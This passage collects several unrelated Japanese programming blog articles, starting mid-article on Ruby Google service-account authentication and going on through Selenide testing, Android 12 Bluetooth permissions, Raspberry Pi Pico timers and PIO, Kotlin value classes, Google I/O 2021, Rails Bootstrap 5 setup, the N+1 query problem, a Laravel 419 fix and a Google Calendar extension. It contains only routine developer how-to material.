authorizer.fetch_access_token!
```
抜粋: https://github.com/googleapis/google-auth-library-ruby#example-service-account

ライブラリ側で指定されている特定の環境変数に値を設定する方法があります。

```ruby
require 'googleauth'
require 'google/apis/drive_v3'

Drive = ::Google::Apis::DriveV3
drive = Drive::DriveService.new

# Auths with ENV vars:
# "GOOGLE_CLIENT_ID",
# "GOOGLE_CLIENT_EMAIL",
# "GOOGLE_ACCOUNT_TYPE", 
# "GOOGLE_PRIVATE_KEY"
auth = ::Google::Auth::ServiceAccountCredentials
  .make_creds(scope: 'https://www.googleapis.com/auth/drive')
drive.authorization = auth

list_files = drive.list_files()
```
抜粋: https://github.com/googleapis/google-auth-library-ruby#example-environment-variables

しかし、例えば Big Query 用、GA 用など複数のサービスアカウントがあり、それぞれの API を実行するときに使用するサービスアカウントを使い分けたいときがあります。

コンソールからダウンロードできる認証情報の記載された json で使い分ける方法もありますがリポジトリに json ファイルを置くわけにはいかないので json を何らかのクラウドストレージに置いて読み込んだり、環境変数に json を設定して読み込む方法も考えられますがどちらも少し面倒だと思います。

そこで `Google::Auth::ServiceAccountCredentials` に直に認証情報を渡す方法を紹介します。

# やり方

`client_email ` と `private_key ` キーがある json を StringIO で作成して `json_key_io ` 引数に渡せばできます。

```ruby
sio = StringIO.new({client_email: ENV['GOOGLE_CLIENT_EMAIL_FOR_GA'], private_key: ENV['GOOGLE_PRIVATE_KEY_FOR_GA'].gsub(/\\n/, "\n")}.to_json)
auth = ::Google::Auth::ServiceAccountCredentials.make_creds(scope: 'https://www.googleapis.com/auth/analytics', json_key_io: sio)
```

参考: https://github.com/googleapis/google-auth-library-ruby/blob/master/lib/googleauth/json_key_reader.rb
UI自動テストツールSelenideについて

## 結論seleniumの違い
- seleniumは本来UI自動テストツールではなく自動ブラウザ操作のためのツール
- selenideはUI自動テストが主目的のツール

## selenideの特徴

### WebDriverを直接操作しない

Seleniumでは画面を開いたり、要素を探したりするのにWebDriverを直接操作する必要がありました。
しかし、SelenideではWebDriverをフレームワークで隠蔽しており、使用者がSelenideの単純なメソッドを呼び出すだけで
各操作を実現できるようになっています。

### Ajaxのサポート

Ajaxを使用しているアプリを操作するためには、各操作ごとに待機時間が必要です。
Seleniumでは、各操作をするごとに使用者がwaitを記述しないといけませんでしたが、Selenideではフレームワークが自動で待機してくれます。
デフォルトでは、最大4秒間待機するようになっています。
ただし、これはすべてのアクションで毎回4秒待機するというわけではなく、
Selenideで指定された要素が存在しない場合現れるまで4秒待機してみるというロジックになっています。

[Selenideを活用したい人に向けて](https://qiita.com/motoki1990/items/abe3b7472097d7e6085f)


- selenideはseleniumのラッパー
`「ソフトウェアやプログラム部品などが提供するクラスや関数、データ型などを、本来とは異なる環境や方法で利用できるようにしたものをラッパーという」`


##やるべきことが明快

Three simple thigsを掲げており、
すべてはコレの繰り返しor組み合わせで実装すればよい。

```java
// Open the page
$(element).doAction()
$(element).check(condition)
```

## 何が返ってくるのかわかりやすい

たとえば、要素の選択でつかう、$()と$$()だと…

```java
SelenideElement elm1 = $("#btn");→要素１つ（複数の場合は先頭）
$(".forward", 1).click(); →第二引数にintを渡すと先頭以外も指定できる
ElementsCollection elms1 = $$(".btn");→要素の集合
```

## 要素の指定が簡単

基本的に$もしくは、$$で要素の指定を行う。
最も使うのは`$(java.lang.String cssSelector)`で、指定が難しい場合`$(org.openqa.selenium.By seleniumSelector)`で指定できる。
また、`org.openqa.selenium.By`を生成するSelectorsクラスがあり、これらを使用することで、可読性をあげることができる。


$(“親要素“).$(“子要素“)と範囲を絞ることで指定がすることができる。

```
例：$(byId("vacantflightlist")).$("tr", 1).$(byName("select"), 1).click();
```
→ xPathと比べて、書人も読む人も分かり易い これ重要！


## アサーションメソッドが用意されている

```java
$("div").shouldHave(text("Hello world!")); 等々。
```

デフォルトで4秒間100ミリ秒間隔でリトライするので明示的にwaitを書く必要がない。
※遷移してないのにしたと認識してしまう場合があるので、ところどころ下記で対応した。

```java
$(".dep_date_td").waitUntil(not(text(baseDate)), 2000);
```
shoud~~に渡すConditionは多数用意されている。


- text(String)
- value(String)
- visible
- selected
- enable
- empty
- exist
etc..


## テストに失敗すると、自動で証跡（png&html)が保存される。

screenshot("fileName");で撮ることも可能



## Page Objectパターンとは？

Page Objectパターンとは自動テストでよく用いられる手法の一つで、対象画面毎にクラスを作成し、
その画面固有の操作／要素について定義する方法です。Seleniumのサイトでも説明されています。この手法では以下のようなメリットが生まれます。

- 処理の重複を避ける
- 画面レイアウト変更などにより要素取得方法が変更になっても、テスト自体への影響を局所化できる
- 要素取得の実装をテスト記述側で意識しなくてすむ
- 実装方法によっては、テスト記述でSelenium固有のAPIを意識せずにすむ

[Javaで簡単にUIテストを書けるSelenideを使おう～Selenideの概要とテストの保守性を上げるPage Objectパターンの紹介](https://codezine.jp/article/detail/10335?p=4)



## 拡張・修正のポイント

- ページデザイン変更時の対応
- 複数画面で共通している部分の対応

### ページデザイン変更時の対応

よくあるケースは、テストを実装した後に画面デザインが変更され、要素の位置なども変わる場合
IDで取得している部分はIDが変更されない限りはそれまで通りで動くが、それ以外については大抵修正が必要となる。
Page Objectを使用しているとテストシナリオは修正する必要がなく、Page Objectのうち要素取得のみを記述したAbstract Classのみの修正で対応が可能。


### 複数画面で共通している部分の対応

常にメニューが表示されている場合にはPage Objectを使用しても重複が発生してしまいます。
共通なものはどこか一か所で定義したい場合は、共通の親クラスを作りそこに定義するという方法もあるが、
Javaでは多重継承は許されていないため、共通要素が複数あり、それが画面によってあったり無かったりということだと対応しきれません。

このような場合は、Java 8で導入された**Interfaceのdefault method**を使う。

####理由
Interfaceは一つのClassに複数implementできます。
ただし、default methodは可視性がpublicしか指定できないため、要素取得と振る舞いの分離が完全にできない
Java 9ではdefault methodにpublic以外の可視性でメソッドが定義できるようですが、
Java 8ではdefault methodでは共通部分の振る舞いを定義したPage Objectを返すようにすることで対応可能


## まとめ
Seleniumをそのまま使うのと比べてかなり書きやすく、可読性も高いのが特徴。
PageObjectPatternと組み合わせることで更に可読性を上げることができる。
(Beta3.1時点での)Android 12におけるBluetooth Permission

# はじめに
Android 12でBluetooth接続を行う際のPermissionが少し変わったようです。
自アプリがクライアントとして他のBLEデバイスに接続する場合のPermissionにどのような違いがあるのかを触ってみました。
シミュレータの動作ベースで確認した内容でまとめますが、探り探りのため記載に関して誤りやご指摘を頂けると助かります。

# 基本的なAPIのAPI LevelによるPermission要求の違い
| API | API Level 30 | API Level 31 |
| - | - | - |
| BluetoothAdapter.isEnabled() | BLUETOOTH | BLUETOOTH, BLUETOOTH_CONNECT |
| BluetoothLeScanner.startScan() | BLUETOOTH_ADMIN, ACCESS_FINE_LOCATION | BLUETOOTH_ADMIN, BLUETOOTH_CONNECT, BLUETOOTH_SCAN |
* Beta1時点において、API Level 30未満(Android 12未満)はtargetSdkVersion 30と同じく位置情報のPermissionが必要。
* API Level 30未満に対しては旧来のパーミッションが引き続き必要となるので、AndroidManifest上でandroid:maxSdkVersion="30"を指定して要求する必要がある。

# コードサンプル
BluetoothDeviceの利用時に位置情報が不要な場合、AndroidManifest.xmlに*android:usesPermissionFlags="neverForLocation"*を指定します。
* Simulator使用時にはusesPermissionFlagsをfalseに設定しないとscan結果が得られませんでした。
* usesPermissionFlagsをfalseにした状態でもrssi値は取得できました。

```java
if (checkSelfPermission(Manifest.permission.BLUETOOTH_CONNECT) == PackageManager.PERMISSION_GRANTED &&
        checkSelfPermission(Manifest.permission.BLUETOOTH_SCAN) == PackageManager.PERMISSION_GRANTED) {
    Toast.makeText(this, "Permissions are already granted.", Toast.LENGTH_SHORT).show();
} else {
    requestPermissions(new String[]{Manifest.permission.BLUETOOTH_CONNECT, Manifest.permission.BLUETOOTH_SCAN}, CHECK_PERMISSION);
}
```
```xml:AndroidManifest.xml
    <!-- API Level 30未満では古いPermissionを使用する -->
    <uses-permission android:name="android.permission.BLUETOOTH"
                     android:maxSdkVersion="30" />
    <uses-permission android:name="android.permission.BLUETOOTH_ADMIN"
                     android:maxSdkVersion="30" />
    <!-- API Level 31以降で必要なPermission -->
    <uses-permission android:name="android.permission.BLUETOOTH_CONNECT"/>
    <uses-permission android:name="android.permission.BLUETOOTH_SCAN"
        android:usesPermissionFlags="neverForLocation" />
```
<br>
上記コードでPermission要求した時に表示されるシステムダイアログ
![Dialog](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/631351/b5434060-b53d-67a6-29d0-32d714aeae84.png)


# 参考文献
[New Bluetooth permissions in Android 12](https://developer.android.com/guide/topics/connectivity/bluetooth-le?hl=ja#connect)
[Bluetooth Low Energy の概要](https://developer.android.com/about/versions/12/features/bluetooth-permissions)
Raspberry Pi Pico C/C++ インターバルタイマ割り込みを試してみる

[Raspberry Pi Pico C/C++ SDKのタイマ用関数のまとめ](https://qiita.com/keyyum/items/40153f7edcb1e69de10a)でタイマの使い方がなんとなく分かったので実際に動かしてみます

##1msタイマ割り込みを試してみる
1ms毎にGPIO0をトグルしてみます。

```c:timier_test.c
#include "pico/stdlib.h"

#define GPIO_00   ( 0 )

bool timer_callback( repeating_timer_t *rt )
{
    /* 割り込み毎にトグルする */
    if ( gpio_get( GPIO_00 ) != 0 )
    {
        gpio_put( GPIO_00, 0 );
    }
    else
    {
        gpio_put( GPIO_00, 1 );
    }

    /* 500us待機 */
    busy_wait_us_32( 500 );

    return ( true );
}

void main( void )
{
    static repeating_timer_t timer;

    /* GPIO設定 */
    gpio_init( GPIO_00 );
    gpio_set_dir( GPIO_00, GPIO_OUT );

    /* インターバルタイマ設定 */
    add_repeating_timer_ms( -1, &timer_callback, NULL, &timer );

    while( true )
    {

    }

}
```
※コールバック関数(割り込み関数)timer_callbackには実験のためあえて0.5msの待機を入れています。

add_repeating_timer_msでタイマ周期(引数の1番目),コールバック関数(割り込み関数)(引数の2番目)を設定します。

```c:
    /* インターバルタイマ設定 */
    add_repeating_timer_ms( -1, &timer_callback, NULL, &timer );
```

引数の3番目,4番目はなにかよくわかっていませんが、これでとりあえず動きます。
実際に動かしてみると
![timer_10.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/398022/0de9f5dd-5fc5-7b22-b89a-640170a794b7.jpeg)
確かに1ms毎にトグルしています。

タイマ周期(引数の1番目)の符号を+にしてみると

```c:
    /* インターバルタイマ設定 */
    add_repeating_timer_ms( 1, &timer_callback, NULL, &timer );
```
![timer_15.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/398022/f4d34fa8-f38a-ff0f-8d32-c4f1f854a67c.jpeg)
1.5ms毎のトグルになりました。

実はタイマ周期(引数の1番目)の符号によって時間の計測開始タイミングが変わるようになっています。

| 値 | 計測時間                                 | 実際のコールバック処理間隔                               | 
|:---- |--------------------------------------:|--------------------------------------:|
| >0   | コールバック関数終了～コールバック関数開始 | タイマ周期 + コールバック処理時間         |
| <0   | コールバック関数開始～コールバック関数開始 | タイマ周期                             |

timer_callbackに入っている0.5ms待機分時間が伸び1.5ms毎になったというわけです。

##コールバック関数の戻り値

コールバック関数(割り込み関数)timer_callbackの戻り値は割り込みを継続するかを意味しています。
ためしに10回で戻り値がfalseになるようにしてみます。


```c:
bool timer_callback( repeating_timer_t *rt )
{
    static uint count = 0;
    bool ret;
    count++;

    /* 割り込み毎にトグルする */
    if ( gpio_get( GPIO_00 ) != 0 )
    {
        gpio_put( GPIO_00, 0 );
    }
    else
    {
        gpio_put( GPIO_00, 1 );
    }

    if ( count >= 10 )
    {
        count = 0;
        ret = false;
    }
    else
    {
        ret = true;
    }

    return ( ret );
}
```
![timer_ret.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/398022/89a66ec5-fb14-81f0-3bb4-21876555353f.jpeg)
確かに10回トグルで止まっています。
【Kotlin】KClassがvalue class（inline class）かを判定する（kotlin-reflect無しでもOK）

# TL;DR
- `Kotlin 1.5`以降 -> `KClass::isValue`で判定できる[^isValue]
  - ただし、`kotlin-reflect`が必要
- `Kotlin 1.4`以下 or `kotlin-reflect`無し -> 正式な方法は提供されていない
  - 代替となりうる手段は有る

本文では代替となりうる手段の方を中心に解説します。

[^isValue]: [isValue \- Kotlin Programming Language](https://kotlinlang.org/api/latest/jvm/stdlib/kotlin.reflect/-k-class/is-value.html)

# 代替となりうる手段
以下2つのやり方を紹介します。

- `value class`特有の関数の名前から判定する
  - `Kotlin`のバージョンに関係なく動作しそう
  - エッジケースで誤判定の可能性有り
- `JvmInline`アノテーションを探す
  - 条件を`Kotlin 1.5`以上に限れるなら、エッジケースに気を配らずに書けるためこちらが良さそう
  - `Kotlin 1.4`以前で実際に動作するかは不明

`kotlinx-metadata-jvm`を使うことでも判定できますが、外部ライブラリが必要になるためここでは一旦説明しません。

## value class特有の関数の名前から判定する
`value class`は特有の関数名を持つ`static`メソッドをコンパイル時に生成します。
代表的な例としては以下が有ります。

- `constructor-impl`[^constructor-impl]
- `box-impl`/`unbox-impl`
- `toString-impl`/`hashCode-impl`

[^constructor-impl]: これは`static`メソッドであり、コンストラクタではありません。

よって、この名前を持つメソッドが含まれるかから判定することができます。

```kotlin:判定関数例
import kotlin.reflect.KClass

fun KClass<*>.myIsValue() = this.java.declaredMethods.any { it.name == "box-impl" }
```

ただし、エッジケースとして、`Kotlin`上で`box-impl`という名前の関数を書くことはできるため、そのような関数が含まれる内容に対してこの判定関数を実行すると誤判定します。
仮に厳密さを求める場合、対処療法的になってしまいますが、以下のような条件を加えることが考えられます。

- 複数の関数名が全て含まれる
- 対象関数が`static`
- `Class<*>.declaredFields`のサイズが1

### 補足
この判定方式は下記を参考にさせて頂きました。

https://github.com/mockk/mockk/issues/152#issuecomment-631796323

物凄く細かい話ですが、手元で確認した所、対象関数の内`declaredMethods`で取得できるのは`box-impl`が最初だったので、例ではこれをそのまま使っています。

## JvmInlineアノテーションで判定する
以下は`Kotlin 1.5`以上のみで可能な方法です。

`Kotlin 1.5`以上では、`value class`には必ず`JvmInline`アノテーションを付与する必要が有ります。

```kotlin:定義例
@JvmInline
value class ValueClass(val value: Int)
```

```java:デコンパイル結果
@JvmInline
@Metadata( /* 省略 */ )
public final class ValueClass {
```

よって、これを探すことで確認が可能です。

```kotlin:判定関数例
import kotlin.reflect.KClass

fun KClass<*>.myIsValue() = this.java.annotations.any { it is JvmInline }
```

ただし、このアノテーションは`@SinceKotlin("1.5")`となっており、それ以前の環境からは普通に参照することができません。
クラス名（`kotlin.jvm.JvmInline`）から比較を行う方法も有るかもしれませんが、`Kotlin 1.4`以前の内容が絡む際に動くかは未知数です。
【Android】Google I/O 2021 まとめ


#Google I/O とは
Google I/Oとは、Googleが主催する開発者向けのイベントのことです。

5月18日〜20日に Google I/O 2021 が行われました。
今年はオンライン開催で行われました。

[Google I/O 2021 公式サイト](https://events.google.com/io/)

セッション内容を記事にまとめてみました。
まとめ順はセッションの発表順ではなく、個人的に気になる順番で紹介しています。

#１.AR検索
AR検索がスポーツ選手の実演に対応しました。
大坂なおみさんも登場しました。
オリンピックも近いので個人的に注目がしたいです。

https://twitter.com/Google/status/1394712843333816324

https://twitter.com/Google/status/1394759830695563274

#２.Project Starline
3Dディスプレイを使用したバーチャル対面システムが発表されました。
普及すれば、テレビ電話やビデオ通話が次の世代のシステムになるかもと思っています。

https://twitter.com/Google/status/1394727290551083009

#３.Google Map の進化
ARでの経路案内の向上は観光に力を入れる日本にとって強力な味方になりそうです。
時間帯で変わるスポットの表示も自分は使ってみたいです。

https://twitter.com/googlemaps/status/1394716549299286020

https://twitter.com/Google/status/1394714405263323137

#４.Google Photo の進化
Google Photo の新機能がいくつか発表されていました。
「little patterns」という新機能は、機械学習を使って3枚以上の写真からハイライトしてくれる機能で機能学習の可能性を感じとれました。
思い出の名前を変えたり削除したりという新しい管理方法の提供も一部のユーザには嬉しい新機能かと思います。

https://twitter.com/Google/status/1394716894234619904

https://twitter.com/googlephotos/status/1394717641659412482

https://twitter.com/Google/status/1394717357877207047

#５.Flutter
Flutter 2.2、Dart 2.13 が発表されました。
Google の Flutter に対する本気さがうかがえます。

https://twitter.com/FlutterDev/status/1395088155401879555

https://twitter.com/dart_lang/status/1395089526960230400

https://twitter.com/FlutterDev/status/1395129893919203328

#６.Material You
「Material You」という新しいマテリアルデザインが発表されました。 Android 12 等で採用する新たなデザインシステムで、個人的にはウィジェットにも影響がありそうなのが気になりました。

https://twitter.com/materialdesign/status/1394718542562430977

https://twitter.com/Google/status/1394720932820832264

#７.Shopify との提携
オンラインショップ拡大を狙った提携を発表しました。
詳細はあまり語られなかったようですが、Shopify の勢いは凄いので注目の発表です。

https://twitter.com/Google/status/1394716212513361930

#８.Arctic Fox
Android Studio の次のバージョンとなる「Arctic Fox」のベータ版の発表がありました。

https://twitter.com/AndroidDev/status/1394772317289472002

#９.Wear OS アップデート
Wear OS（Wear OS 3.0）の大幅な機能アップデートが発表されました。
Wear OS と Tizen との統合や Fitbit の機能追加が発表されたので期待したいです。
アプリの起動は30%高速化やバッテリーの持続向上の発表もありそれも良さそうでした。

https://twitter.com/Google/status/1394722430212616192

https://twitter.com/WearOSbyGoogle/status/1394730135174144000

#１０.セキュリティ
重要性が年々増すセキュリティ分野の発表もいくつかありました。
Googleアカウントのセキュリティ及びプライバシー機能改善が発表されていました。
漏洩したパスワードをワンタップで変更できる新機能や「Locked Folder」という保護された写真の置き場等が発表されました。

https://twitter.com/Google/status/1395473087123046401

https://twitter.com/Google/status/1394709225482424321

https://twitter.com/Google/status/1394709356218777602

#１１.AIチップ TPUv4
機械学習サービスを動かす次世代カスタムAIチップが発表されました。
前世代の2倍の速さだそうです。
Google Cloud platform を通してデベロッパーにも利用できるとのことです。

https://twitter.com/Google/status/1394785686683783170

#１２.Android 12 beta
beta版が発表されました。
正式リリースが待ち遠しいです。

https://twitter.com/Google/status/1394720682647293953

#おまけ 公式Twitterのアンケート結果
アンケート結果が公開されていました。
多くの人はやはり Android 12 に一番興味があるようです。

https://twitter.com/Google/status/1395146213272559618
【Rails】Bootstrap5の導入

# 目的
Railsで作成したアプリに`Bootstrap5`を導入する。

# 開発環境
macOS: *Big Sur*
Rubyバージョン: *2.6.5*
Railsバージョン: *6.0.0*

# 前提
- アプリが作成されている。
- アプリ名は`test-app`とする。

# 手順

1. [前置き](#前置き)
1. [Bootstrapのインストール](#bootstrapのインストール)
1. [application.jsの設定](#applicationjsの設定)
1. [application.scssの設定](#applicationscssの設定)
1. [application.html.erbの設定](#applicationhtmlerbの設定)
1. [最終確認](#最終確認)

# 前置き

今回、Railsに`Bootstrap5`を導入しますが、
`Bootstrap5`から`jQuery`が不要になったようですのでインストールは不要です。

# Bootstrapのインストール

では早速始めていきます！
まず、YarnでBootstrapに必要なパッケージをインストールします。

必要なパッケージは`bootstrap`と`popper.js`の2点です。

```:ターミナル
$ yarn add bootstrap@next
$ yarn add @popperjs/core
```
これでインストールができました！

# application.jsの設定

続いてapplication.jsの設定です。

```app/javascript/packs/application.js
//省略

require("@rails/ujs").start()
require("turbolinks").start()
require("@rails/activestorage").start()
require("channels")

import "bootstrap";
import "../stylesheets/application";

//省略
```

# application.scssの設定

次にapplication.scssの設定ですが、`application.scss`というファイルは存在しないので、
`app/javascript/stylesheets/`というディレクトリを作成し、その中に`application.scss`ファイルを作成してください！

```css:app/javascript/stylesheets/application.scss
@import "bootstrap";
```

# application.html.erbの設定

最後に`「stylesheet_pack_tag」`を追加します!

```:app/views/layouts/application.html.erb
<%= stylesheet_pack_tag 'application', media: 'all', 'data-turbolinks-track': 'reload' %>
```

# 最終確認

これで`Bootstrap`は導入できたかと思います。
ビューファイルに以下のコードを記載し確かめてみてください！

```:index.html.erb
<%= link_to "最終確認用ボタン", "#", class: "btn btn-primary" %>
```

# 最後に

以上で`Bootstrap5`の導入は完了です。
あとはビューファイルを各々編集してください。
では。
n+1問題を呪術廻戦で例えました

こんにちは！
n+1問題がわかんなくて今週仕事の合間に
ずっと調べて記事にしようと思ってました。
ただただ自分のアウトプットをしてるだけだと
なんか嫌々記事書いてるみたいで楽しくないし、
そもそもn+1問題に関する記事なんて腐る程あると
思うので僕の大好きな呪術廻戦を交えて
説明して行こうかなと思います。

この記事ではn+1問題の具体的な説明を
僕的に分かりやすく抽象化したものなので
もっとコード用いた具体例を見たい！って
人は他のブログ見てください。

てか一回n+1問題の記事をみてわけわからんかったら
この記事見てからもう一回見てみてね。

あと呪術廻戦知らない人ゴメンなさい。。。
ネタバレも含んでいるからあんまり見たくない人は
ここで読むのやめてください！！

<h1>n＋１問題とは</h1>

そもそもN+1問題とは
テーブル間にアソシエーションが
組まれている際に、データベースへの
アクセス回数が多くなり、
アプリケーションのパフォーマンスが
低下してしまいます。
さてこれを呪術廻戦で例えていきましょう。


<h1>夏油傑の術式</h1>

何で例えようかと思いましたが、
夏油傑の術式にしました。
夏油傑の術式は呪霊操術といって、
捉えた呪霊をポケモンみたいに味方にできる
スーパーチート術式です。


<h1>夏油傑からみるN+1問題</h1>

夏油傑は呪術廻戦0巻で約４，０００体もの
呪霊を保有していたとされます。

これをテーブルで表してみましょう。

usersテーブル

| id  | curse users | cursed Technique   | 
| --- | ----------- | ------------------ | 
| 1   | 夏油傑      | Curse Manipulation | 
|     |             |                    | 
|     |             |                    | 


curseテーブル

| id  | spell          | user_id | 
| --- | -------------- | ------- | 
| 1   | 切り裂き女     | 1       | 
| 2   | 虹龍           | 1       | 
| 3   | 疱瘡婆         | 1       | 
| 4   | 玉藻前         | 1       | 
| 5   | 巨大なペリカン | 1       | 

curseテーブルは夏油さん４０００体も呪霊書けないんで
割愛します。
てか全部登場したわけではないし。


例えばここで夏油傑がIQ１２だったとします。

夏油は４０００体の呪霊を全部召喚して
テロを起こしたいと考えます。
そこで夏油は1体ずつ呪霊の情報を処理し
放っていきます。
1体ずつということは４０００回もこの行為を
行わないといけません。
僕だったら、もう24体目ぐらいで
やめてます。
てかこんなことしてたら呪力量に限界がきちゃいますし
もうテロどころじゃないですよね。

![図3.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1435543/5443f117-193c-b406-d25b-59626faaf8ab.png)


とまあこれがn+1問題です。
もう一度言いますが、
テーブル間にアソシエーションが
組まれている際に、データベースへの
アクセス回数が多くなり、
アプリケーションのパフォーマンスが
低下してしまいます。

夏油と呪霊には主従関係が組まれており、
夏油が呪霊ストックへのアクセス回数が
多くなると呪力量が著しく減り、
パフォーマンスが低下してしまいます。


<h1>夏油傑からみるincludesメソッド</h1>
ではこれをどうすればいいのか？

includesメソッドを使用することで、
引数に指定された関連モデルを1度のアクセス
でまとめて取得できます。

includesメソッドも詳しい記述方法は他の方の
記事を参考にしてください。
includesメソッドを使えばn+1問題が解決するんや！！
ぐらいに思ってもらえたらOKです。
夏油も喜んでくれます。
じゃ例えます。

ここで夏油傑のIQ４５に上がったとします。
夏油が「一括で4000体放てるようにしたらええねや！！」と
当たり前のことをようやくようやく気付いたとします。


![図1.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1435543/ee2bc108-0a76-3e90-7c3f-7179e5041cae.png)

こうすれば夏油の呪力量は減りすぎないし、
パフォーマンスも落ちませんね
Raspberry Pi Picoでモータを動かす⑨（PIOで動かす⑦）

[前回](https://qiita.com/fmax/items/dc49617ddc427645852a)で分解能の問題はあるが、とりあえず一通りの機能は実装できた。
なので今回は一旦の仕上げとして並列化してみようと思う。

## 並列化
Raspberry Pi PicoのPIOはインストラクションメモリを共用して0～3,4～7のステートマシンを同時に動作させることができる。
これは**2種のプロトコルを各4chまで並列に動かせる**ということに他ならない。
2種と書いているが当然同じプロトコルでも良く、最大8chの実装が可能になる。

前回のコードを変更して0～3のステートマシンを並列に動作させると下記のようになる。
注：配線が面倒なためSM1～SM3のモータの動作確認は行っていません

```
from rp2 import PIO, StateMachine, asm_pio
import time
from machine import Pin

@asm_pio(set_init=(PIO.OUT_LOW, PIO.OUT_LOW, PIO.OUT_LOW, PIO.OUT_LOW), out_shiftdir=PIO.SHIFT_LEFT, autopull=False)
def cw_ccw():
    wrap_target()

    pull()
    out(y, 1)
    out(x, 31)
    label("continue")
    jmp(not_y, "cw")
    jmp("ccw")
    label("return")
    jmp(x_dec, "continue")
    irq(0x11)

    wrap()

    label("cw")
    set(pins, 0b1001)[3]
    set(pins, 0b0011)[3]
    set(pins, 0b0110)[3]
    set(pins, 0b1100)[3]
    jmp("return")

    label("ccw")
    set(pins, 0b1100)[3]
    set(pins, 0b0110)[3]
    set(pins, 0b0011)[3]
    set(pins, 0b1001)[3]
    jmp("return")

irq_flag = [False] * 4
def set_flag(flags):
    global irq_flag
    if flags == 0x200:
        irq_flag[0] = True
    elif flags == 0x400:
        irq_flag[1] = True
    elif flags == 0x800:
        irq_flag[2] = True
    elif flags == 0x100:
        irq_flag[3] = True

PIO(0).irq(lambda pio: set_flag(pio.irq().flags()))

sm = []
for i in range(4):
    sm.append(StateMachine(i, cw_ccw, freq=2000, set_base=Pin(2 + i * 4)))
for i in range(4):
    sm[i].active(1)

cw_flag = [True] * 4
for i in range(4):
    sm[i].put((i + 1) << 8) # CW

while True:
    for i in range(4):
        if irq_flag[i]:
            irq_flag[i] = False
            if cw_flag[i]:
                cw_flag[i] = False
                print("SM" + str(i) + " CCW:" + hex(((i + 1) << 8)))
                sm[i].put((0b1 << 31) + ((i + 1) << 8)) # CCW
            else:
                cw_flag[i] = True
                print("SM" + str(i) + " CW:" + hex(((i + 1) << 8)))
                sm[i].put((i + 1) << 8) # CW


```

ポイントは割り込みの処理。
データシートの下記図を見ても分かる通り、各0～3のステートマシンでIRQは共用されている。
![Int.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1391167/a5f0e507-bc21-fc5e-21c5-6e2888220c2a.png)

このため、どのステートマシンから発行された割り込みかを判別しなければならない。
発行時にステートマシン情報を付加しているのが

```
irq(0x11)
```

の部分。
irq()の引数はデータシートで見ると5bitのindexとなっており0x00～0x1fまでの値を取りうるが、MSB(最上位ビット)とそれ以外で扱いが異なる。
MSBに1が立つとステートマシン判別用の計算を行い、呼び出し元に計算後の値を割り込みフラグとして渡す。
受け取り側は4の剰余加算をindexに加算した値（？）を受け取るらしいが、計算が面倒なのでPIO(0).irq(lambda pio: print(pio.irq().flags())を実行して確認した。
具体的にirq(0x11)を行った場合、SM0:0x200,SM1:400,SM2:0x800,SM3:0x100の値の割り込みフラグとなる。
それを割り込み関数内で判別して各変数に振り分けている。

### PIO雑感
これまでのコードにより実現した機能は、例えばXYZ軸のモーターを並列に動かしながら別の作業(UARTの待受など)を実行することができるという意味で非常に強力である。
今後のマイコンの方向性としてこういったIO用ステートマシンと独自命令を入れておくというのはトレンドになるのかもしれない。
ARM自体も[そういう方向性(Custum Instructions)](https://monoist.atmarkit.co.jp/mn/articles/1911/14/news038.html)に見えないこともないし。
PIOは優れた機能なのだが、正直もう少しインストラクションメモリとスクラッチレジスタが欲しかった。
価格との兼ね合いなんで仕方ないんでしょうけど。
もうちょっとPIO周りの仕様が豪華で￥100ぐらい値上げされたVerとか作ってくれませんかねぇ…。


このステッピングモータを使った内容はここまでで終了し、次回は一旦これまでのPIOで得られた知識をまとめた記事を投稿しようかと思う。
その後は別のステッピングモータとモータドライバで動かしていく予定。
Laravelでフォーム送信時に419 Page Expired と表示されたときの対処法

最近laravelの勉強をしていて遭遇したエラーを自分が見返せるようにという意味も込めて載せます．
上級者からしたしょうもないミスかもしれませんが...

laravelの勉強中node.jsの便利な機能を使って，登録者ログイン機能を実装しようとしていました．
無事に画面にloginとregisterのボタンを表示することができたのですが，registerボタンを押して名前やパスワードを入力し，登録ボタンを押したところ，
![fullsizeoutput_604.jpeg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/756995/68597330-1336-8268-6212-f2ba61f44e90.jpeg)
このような画面が表示されてしまいました．

phpmyadminのusersテーブルを見ても登録した内容はまだ反映されていません．
ググったところあるページの情報で解決することができました（リンクは最後に載せておきます）．
まずターミナルでLaravelプロジェクトフォルダに移動した後，
```
$ php artisan cache:clear
```
と打ち込むと
```
Application cache cleared!
```
と表示されます．
もう一度登録者情報を入力してボタンを押すと見事先程の419 Page Expiredは表示されず登録を完了させることができました！
どうやら自分の場合キャッシュデータが邪魔をしていたようです．
そのキャッシュデータを削除したことでうまくいったということですね，

###参考サイト
[419 Page ExpiredとLaravelでフォーム送信時に出た時の対処法](https://nebikatsu.com/7963.html/)
Calendar Selector for Google Calnedar のインポート機能が便利

:::note alert
2025年3月、Calendar Selector for Google Calendar はサポート終了しました
:::

# Google カレンダーで複数メンバーを一気に選択

仕事で Google カレンダーを使っていると、プロジェクトメンバーのスケジュールをまとめて表示したいことがよくあります。
そんなときは、Chrome 拡張機能の [Calendar Selector for Google Calendar](https://chrome.google.com/webstore/detail/calendar-selector-for-goo/nmliklikilkjommabacojbijjimlgjck) を入れると便利です。
Google カレンダーで複数メンバーを選択した状態を「PRESET」として登録することができるので、これを呼び出すことですぐに複数メンバー選択状態になります。
PRESET に登録するには、目的のメンバーのスケジュールを選んだ状態で、 SAVE AS をクリックし、プリセット名を付けて保存するだけです。
PRESET の選択には、ショートカットも使えます。Ctrl+Alt+P (Macは Ctrl+Option+P) で PRESET を開き、プリセット名をタイプすると選択肢が絞られて矢印キーで選択できます。

# プリセットのインポート機能

PRESET はインポート・エクスポートすることができるので、ほかのメンバーにプリセット設定を渡すことも簡単です。
PRESET を選んで、EXPORT を選ぶとプリセットの設定内容が JSON形式で表示されるので、これをコピーします。インポートしたい側では PRESET から IMPORT を選択し、先ほどコピーした JSON 形式の文字列をペーストするだけです。

![screen-preset.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/926617/2918ba50-b4cb-17f5-8373-293dc0bce719.png)


